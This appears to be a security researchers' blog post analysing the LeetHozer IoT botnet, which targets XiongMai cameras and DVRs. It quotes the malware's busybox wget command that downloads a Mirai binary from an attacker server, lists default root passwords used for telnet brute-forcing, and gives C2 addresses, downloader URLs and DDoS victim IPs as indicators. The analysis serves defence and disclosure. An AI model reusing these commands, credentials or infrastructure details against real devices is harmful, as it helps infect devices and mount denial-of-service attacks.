The LeetHozer botnet | xxxThe LeetHozer botnet – xxx
菜单

The LeetHozer botnet

四月 27, 2020 - 360netlab

Background

On March 26, 2020, we captured a suspicious sample11c1be44041a8e8ba05be9df336f9231. Although the samples have the word mirai in their names and most antivirus engines identified it as Mirai, its network traffic is totally new,which had got our attention.

The sample borrowed some of Mirai’s Reporter and Loader mechanism, but the encryption method and Bot program, as well as C2 communication protocol had been totally redesigned.

For regular Mirai and their variations, normally the changes are fairly minor, changing C2s or encryption keys, or integrate some new vulnerabilities, nothing dramatic.

But this one is different. Its encryption method is unique, and communication protocol is more rigorous. Also it is very likely a new branch from the Moobot group and is in active development. (the author released a third version while we work on this article, adding some new function and changing Tor C2 :vbrxmrhrjnnouvjf.onion:31337)

So we think we should blog it and decide to name it LeetHozer because of theH0z3r string(/bin/busybox wget http://37[.49.226.171:80/bins/mirai.m68k -O - > H0z3r;)

The targets devices currently observed are mainly XiongMai H.264 and H.265 devices.

Propagation

LeetHozer takes advantage of the vulnerability through the target device’s TCP 9530 port to start the telnetd service, then login to the device with the default password to complete the infection process. The propagation process is shown in the figure:

The source IP currently exploiting the vulnerability is around 4.5k per day.

LeetHozer and moobot_xor used the same unique string /bin/busybox DNXXXFF in their 9530 exploit. We also observed that at times they used the exact same downloader, so we speculate that moobot_xor and LeetHozer probably belong to the same organization or individual.

The time periods and the downloader shared by the two families are as follows:

date=2020-03-26 08:11:46+08:00  md5=11c1be44041a8e8ba05be9df336f9231    family_name=LeetHozer   url=http://185.172[.110.224/ab/i686 date=2020-03-26 08:11:39+08:00  md5=11c1be44041a8e8ba05be9df336f9231    family_name=LeetHozer   url=http://185.172[.110.224/ab/i586 date=2020-03-26 08:11:39+08:00  md5=b7b2ae292bf182b0d91535770394ad93    family_name=moobot_xor  url=http://185.172[.110.224/ab/arm 

The recent LeetHozer DDos targets we currently see

2020-04-07 37.49.226.171          31337 ddos tcpraw   45.83.128.252   ASN40676  Psychz_Networks 2020-04-07 37.49.226.171          31337 ddos udpplain 172.106.18.210  ASN40676  Psychz_Networks 2020-04-08 37.49.226.171          31337 ddos udpplain 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd 2020-04-11 w6gr2jqz3eag4ksi.onion 31337 ddos icmpecho 185.38.151.161  ASN25369  Hydra_Communications_Ltd 2020-04-13 37.49.226.171          31337 ddos icmpecho 73.99.44.254    ASN7922   Comcast_Cable_Communications,_LLC 2020-04-13 37.49.226.171          31337 ddos icmpecho 94.174.77.69    ASN5089   Virgin_Media_Limited 2020-04-13 37.49.226.171          31337 ddos udppplain 94.174.77.69    ASN5089   Virgin_Media_Limited 2020-04-16 37.49.226.171          31337 ddos icmpecho 117.27.239.28   ASN133774 Fuzhou 2020-04-16 37.49.226.171          31337 ddos icmpecho 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd 2020-04-16 37.49.226.171          31337 ddos icmpecho 52.47.76.48     ASN16509  Amazon.com,_Inc. 2020-04-16 37.49.226.171          31337 ddos tcpraw   117.27.239.28   ASN133774 Fuzhou 2020-04-16 37.49.226.171          31337 ddos tcpraw   162.248.93.234  ASN32374  Nuclearfallout_Enterprises,_Inc. 2020-04-16 37.49.226.171          31337 ddos udpplain 71.222.69.77    ASN209    CenturyLink_Communications,_LLC 2020-04-17 37.49.226.171          31337 ddos udpplain 117.27.239.28   ASN133774 Fuzhou 2020-04-18 37.49.226.171          31337 ddos tcpraw   76.164.193.89   ASN36114  Versaweb,_LLC 2020-04-18 37.49.226.171          31337 ddos udpplain 117.27.239.28   ASN133774 Fuzhou 2020-04-18 37.49.226.171          31337 ddos udpplain 66.150.188.101  ASN32374  Nuclearfallout_Enterprises,_Inc. 2020-04-19 37.49.226.171          31337 ddos tcpraw   117.27.239.28   ASN133774 Fuzhou 2020-04-19 37.49.226.171          31337 ddos udpplain 108.61.22.86    ASN20473  Choopa,_LLC 2020-04-19 37.49.226.171          31337 ddos udpplain 108.61.33.194   ASN20473  Choopa,_LLC 2020-04-19 37.49.226.171          31337 ddos udpplain 172.107.228.198 ASN40676  Psychz_Networks 2020-04-19 37.49.226.171          31337 ddos udpplain 192.99.226.11   ASN16276  OVH_SAS 2020-04-19 37.49.226.171          31337 ddos udpplain 209.58.147.245  ASN394380 Leaseweb_USA,_Inc. 2020-04-19 37.49.226.171          31337 ddos udpplain 24.46.209.115   ASN6128   Cablevision_Systems_Corp. 2020-04-19 37.49.226.171          31337 ddos udpplain 71.222.69.77    ASN209    CenturyLink_Communications,_LLC 2020-04-20 37.49.226.171          31337 ddos udpplain 139.28.218.180  ASN9009   M247_Ltd 2020-04-20 37.49.226.171          31337 ddos udpplain 74.91.122.90    ASN14586  Nuclearfallout_Enterprises,_Inc. 2020-04-23 37.49.226.171          31337 ddos icmpecho 162.244.55.107  ASN49544  i3D.net_B.V 2020-04-23 37.49.226.171          31337 ddos udpplain 162.244.55.107  ASN49544  i3D.net_B.V 

Reverse analysis

At present, there are three versions of LeetHozer samples (We are going to focus on V2 as V3 is in development now). The difference between V1 and V2 is mainly that V2 supports more DDos attack methods.

We are going to take a quick look at the sample’s behavior, DDos command format, network communication below.

MD5: 57212f7e253ecebd39ce5a8a6bd5d2df

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

Packer: None

Library: uclibc

Version: V2

Sample behavior

The function of LeetHozer is relatively simple, when it runs on infected device, it operates the watchdog device,then write the pid to a file named .1, and prints out /bin/sh:./a.out:not found string to the console( to confuse the user?). After that, it starts to scan internet to find more devices with open port 9530, and try to use the vulnerability to open the telnetd service on more victim devices.

The sample also reports the infected device information to the reporter, and establishes communication with C2, waiting for instructions to launch DDos attack.

The sample uses a custom algorithm for encryptiton. The decryption algorithm is as follows:

xorkey="qE6MGAbI"  def decode_str(ctxt):     for i in range(0,len(xorkey)):         plain=""         size=len(ctxt)             for idx in range(0, size):             ch=ord(ctxt[idx])              ch ^=(ord(xorkey[i]) + idx )             plain += chr(ch)         ctxt=plain     return ctxt 

After decryption, the key information is as follows, including the watchdog devices, C2 to be operated by the Bot. The information will only be decrypted when it is needed by the bot.

.1/dev/watchdog
/dev/misc/watchdog/bin/sh: ./a.out: not found
w6gr2jqz3eag4ksi.onion

The specific implementation of the Bot function is as follows:,

  1. Set watchdog to prevent device restart

  2. Bot singleton through PID file

  3. Scan, exploitation and report information

    • mirai’s fast port scan technique has been borrowed, the scanned port is 9530

    • Use the vulnerability to enable the telnetd service and try to log in with the following credentials.

      root:xc3511 root:xmhdipc root:klv123 root:123456 root:jvbzd root:hi3518 root:tsgoingon 
    • Report device information after successful login

  4. Receive the C2 command and prepare for DDos attack. The attack commands supported by different versions are different.

    versioncommand
    V1tcpraw
    v2tcpraw;icmpecho;udpplain

    However, the data format of the attack command is the same, and its structure is Header(6 bytes),Option1,Option2...,in which the structure of Option isType(2 bytes),Len(2 bytes),Subtype(2 bytes),Contents( Len bytes),Padding, the following takes an actual attack command as an example to explain the parsing process.

    00000000: 3E 00 3F 00 3A 00 01 00  08 00 04 00 75 64 70 70  >.?.:.......udpp 00000010: 6C 61 69 6E 00 00 00 00  01 00 0E 00 06 00 31 33  lain..........13 00000020: 39 2E 32 38 2E 32 31 38  2E 31 38 30 00 00 00 00  9.28.218.180.... 00000030: 02 00 01 00 0C 00 50 00  02 00 01 00 05 00 64 00  ......P.......d. ---------------------------------------------------------------------------- Header:  3E 00 3F 00 3A 00, ----Little endian      0x003E  ---- xor key     0x003A  ---- 0x3A xor 0x3E = 4 个Option Opt 1:  01 00 08 00 04 00, ----Little endian      0x0001  ----Type 1,Padding 4 bytes     0x0008  ----Content length,len("udpplain") = 8     0x0004  ----Subtype 4,Contents为attack vector    Contents: udpplain    Padding: 00 00 00 00     Opt 2:  01 00 0E 00 06 00, ----Little endian      0x0001  ----Type 1,Padding 4 bytes     0x000e  ----Content length     0x0006  ----Subtype 6,Contents为attack target              Contents: 139.28.218.180              Padding: 00 00 00 00     Opt 3:  02 00 01 00 0c 00, ----Little endian      0x0002  ----Type 2,No Padding     0x0001  ----Type 2 Ignore this field,Contents length is always 2 bytes              0x000c  ----Subtype 0xc,Contents为target port              Contents: 80  Opt 4:  02 00 01 00 05 00, ----Little endian      0x0002  ----Type 2,No Padding     0x0001  ----Type 2 Ignore this field,Contents length is always 2 bytes     0x0005  ----Subtype 0x05,Contents is attack duration              Contents: 0x0064 

Communication protocols

Two types of C2: Tor-C2 and IP-C2 has been used. The V2 version has both existed but the code branch where Tor-C2 is located will not be executed. It is likely the V2 version is not final yet.

  1. Tor-C2,supported by V1,Not used in V2.

      w6gr2jqz3eag4ksi.onion:31337 
  2. IP-C2,supported by V2.

    37.49.226.171:31337 

Tor-C2 has a pre-process to establish a connection through Tor proxy. After the connection between Bot and C2 is established, it takes two rounds of interaction for the bot to successfully go online.

At this point, the identity verification between the Bot and C2 is completed, and the Bot starts to wait for the C2 to issue instructions. The first byte of the C2 reply packet specifies the type of instruction.

Contact us

Readers are always welcomed to reach us on twitter or email to netlab at 360 dot cn.

IoC list

C2

vbrxmrhrjnnouvjf.onion:31337  #v3 37.49.226.171:31337           #v2 w6gr2jqz3eag4ksi.onion:31337  #v1 

MD5

027d7e1cda6824bc076d0a586ea139f5 05a485caf78eca390439b7c893c0354b 068083b9d0820f3ac9cec10d03705649 08e1b88305ad138a4509fb6b72ae3d31 0a56855a6d56efe409c2b7a4c6113bcf 0dee2c063085d0c5466137a3c32479f2 0eecbfd368f821901f9ba758e267557a 110ec534e1c60fc47f37739f03c1bb6a 1111c252ee54c4a6614498e66cefb4e7 11c1be44041a8e8ba05be9df336f9231 121960341ab64a7e7686373dedfbc058 128a53e447266e4d0e12adb7c0b43159 129f41468303728b029def8dbc910e35 177de1bf8f90cbcea50fd19c1e3e8cfe 17b5d683d7b177760c8a2ffd749650b0 1aba422e02f0fbff5189399e01e272d4 21e7898b4b585b825d120c3b0fed8b8a 242d0c9386f61c3ac9ddcdbcda724f3e 25588d12bdbb4e4b1d946f2d5c89abf3 273afac3320ddceb0e18671a3e878fa3 2f066945cee892cc857d477d97d42d7c 30c60cfb51896e5d06012ec6cf15c588 3525d090ab1ab1739507ae1777a70b95 37d9fd56ce685717f1180615f555754e 3d24b9cafda55909fbfde16a5222b4d8 3f88cbbcaa3e0b410dcdb18ddb68d4c2 4229c19e6e5c2dc8560fae9b35841957 45a30d656b4767bce0058f80b0895a95 4e22d0079c18043b6d9037fb842d94ee 58a13abe621acc532b1b6d26eb121c61 5ed891c31bc86689cb93488f5746404a 5fafdc3e3ed7c38a204234e0146e5663 5fec7347f2a9a2ae798505135a61c47f 60bb6bf05c3e7f6f13f2374511963f79 669e5f3513ebfa9c30766da294036d6e 6c883cf42d63a672815e38223d241662 6e7e638d27971e060aaee1b9ae43fe4a 76d0285f95fbee81cff81948d5a98db0 7b08a0569506174463c83f50f8d65a8f 84d39f46c4694e176d8734dd53a07c2c 86072e88f28ebf357443300656c0349a 88a39f5bb8e271f3d080a9aaa6c4a44a 8dc36df1617d9c2be576fa02a5c24803 8e7d774441229809c9cfa8d8705b5258 90a63857f31714ff2c285eb6ca9af3d1 919308996155d7a9ec2f7a25a64eb759 91fe795b69880972e30929632d359b52 9a63001fe8f2d2d642bc2c8310a429e0 9c95be6e1e9927cc0171fc344fcceb71 a42550641cc709168c145b5739fca769 a579d46a571e123a9d65dcfe21910c87 a76fdf5b2f817dc1f2e3c241d552b9ae aa469ab3eb6789104bda30c910f063f5 b0276d96976dd6b805a02141e78df927 b35733792393a08408773a141a94f668 b84fb91f818a2b221833cb6499e5d345 bd28cdf60b03fc302b0ed467b3ea7e43 c6e9c7e7b5370441b379fd0032af4a85 cc42951a01c07dc7034251fdcd08c778 cce2f84c925f30ba11afd817bdae9377 d9d2c7e131e2f19985fffe9a1f38bca1 db6b387ba0f1ab17785de63be55e7fb6 deb66817f026c50d6e78ace69db6f0e6 e8e249712b7ad0bb92ac5ebb1d0f3378 e9ee7ea21696c9e01257c7543d344487 eb210bc6a54c1faef3cc043d767a4c3b ecf26cb853f2d22b705334cd9acdd3c2 f4aa925fb0d0eda1bdd4b52eecd7d870 fdd05db406a03601b9548aa7a1d07bb6 

Downloader

http://185[.172.110.224/ab/i586 http://185[.172.110.224/ab/i686 http://185[.172.110.224/uc/i686 http://185.225.19.57/aq/rxrg http://188[.214.30.178/arm6 http://188[.214.30.178/arm7 http://188[.214.30.178/bot.arm http://188[.214.30.178/bot.arm7 http://188[.214.30.178/bot.mips http://188[.214.30.178/bot.mpsl http://188[.214.30.178/bot.x86 http://188[.214.30.178/tn/arm http://188[.214.30.178/tn/arm7 http://188[.214.30.178/tn/mips http://188[.214.30.178/tn/mpsl http://190[.115.18.144/arm6 http://190[.115.18.144/arm7 http://190[.115.18.144/bot.arm http://190[.115.18.144/bot.arm7 http://190[.115.18.144/bot.mips http://190[.115.18.144/bot.mpsl http://190[.115.18.144/bot.x86 http://190[.115.18.144/tn/arm http://190[.115.18.144/tn/arm7 http://190[.115.18.144/tn/mips http://190[.115.18.144/tn/mpsl http://37[.49.226.171/bins/mirai.arm http://37[.49.226.171/bins/mirai.arm7 http://37[.49.226.171/bins/mirai.mpsl http://37[.49.226.171/bins/mirai.sh4 http://37[.49.226.171/bins/mirai.x86 http://37[.49.226.171/mirai.arm http://37[.49.226.171/mirai.arm7 http://37[.49.226.171/mirai.mpsl http://37[.49.226.171/mirai.sh4 http://37[.49.226.171/mirai.x86 http://64[.225.64.58/arm http://64[.225.64.58/arm5 http://64[.225.64.58/arm6 http://64[.225.64.58/arm7 http://64[.225.64.58/bot.arm http://64[.225.64.58/bot.arm7 http://64[.225.64.58/bot.mips http://64[.225.64.58/bot.mpsl http://64[.225.64.58/bot.x86 http://64[.225.64.58/i586 http://64[.225.64.58/i686 http://64[.225.64.58/m68k http://64[.225.64.58/mips http://64[.225.64.58/mpsl http://64[.225.64.58/sh4 http://64[.225.64.58/spc http://64[.225.64.58/x86 

IP

185.172.110.224     Netherlands    ASN206898    Server_Hosting_Pty_Ltd 185.225.19.57       Romania        ASN39798     MivoCloud_SRL 37.49.226.171       Netherlands    ASN208666    Estro_Web_Services_Private_Limited 64.225.64.58        Netherlands    ASN14061     DigitalOcean,_LLC 188.214.30.178      Romania        ASN51177     THC_Projects_SRL 190.115.18.144      Russian        ASN262254    DANCOM_LTD 

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51